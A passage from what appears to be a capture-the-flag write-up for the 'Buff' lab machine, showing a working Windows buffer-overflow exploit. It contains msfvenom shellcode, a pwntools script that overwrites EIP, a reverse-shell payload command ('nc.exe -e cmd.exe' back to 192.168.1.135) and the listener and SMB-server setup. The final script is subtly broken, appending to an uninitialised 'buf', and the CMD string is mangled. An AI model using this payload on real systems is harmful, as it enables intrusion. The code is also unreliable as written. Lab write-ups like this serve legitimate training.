buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"
Parameter explanation
ParameterPurpose
-a x86The target architecture, in this case x86.
-p windows/execThe payload to use, in this case windows/exec, which lets us run commands on the target machine
CMD=’\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443The command the payload will run
-b ‘\x00The badchars, so msfvenom doesn’t put them in the shellcode, since they won’t be interpreted
-f pythonThe shellcode output format, in this case Python, so we can simply copy the output and paste it into the script without adapting anything

Final script

To finish exploiting the buffer overflow, we write a script based on all the information we’ve gathered along the way

  • ‘A’ * 1052: First we send 1052 ‘A’s to reach EIP
  • 0x68a98a6b: Then the value for EIP, which will be the address to jump to ESP
  • ‘ShellCode’: Finally, we send the shellcode.
from pwn import *
from struct import pack

offset = 1052
before_eip = b"A" * offset
eip = pack("<I", 0x68a98a6b)

buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"

payload = before_eip + eip + b"\x90"*16 + buf
host, port = "127.0.0.1", 8888

r = remote(host, port)
r.sendline(payload)

Before running it, we have to listen on port 443

nc -nlvp 443
Parameter explanation
  • n: Skip DNS resolution
  • l: Enable netcat’s listen mode
  • v: Verbose mode
  • p: Finally, p specifies the port number we’ll be listening on

We also have to start an SMB server to share nc.exe

impacket-smbserver smb $(pwd) -smb2support
Parameter explanation
  • smb: Name of the share
  • $(pwd): Returns the directory we’re in, and impacket-smbserver shares the contents of that path
  • –smb2support: Enables support for the SMB2 protocol

We run the script and… we get the connection!

Now all that’s left is to use the Buff machine’s IP instead of ours and that’s it: machine completed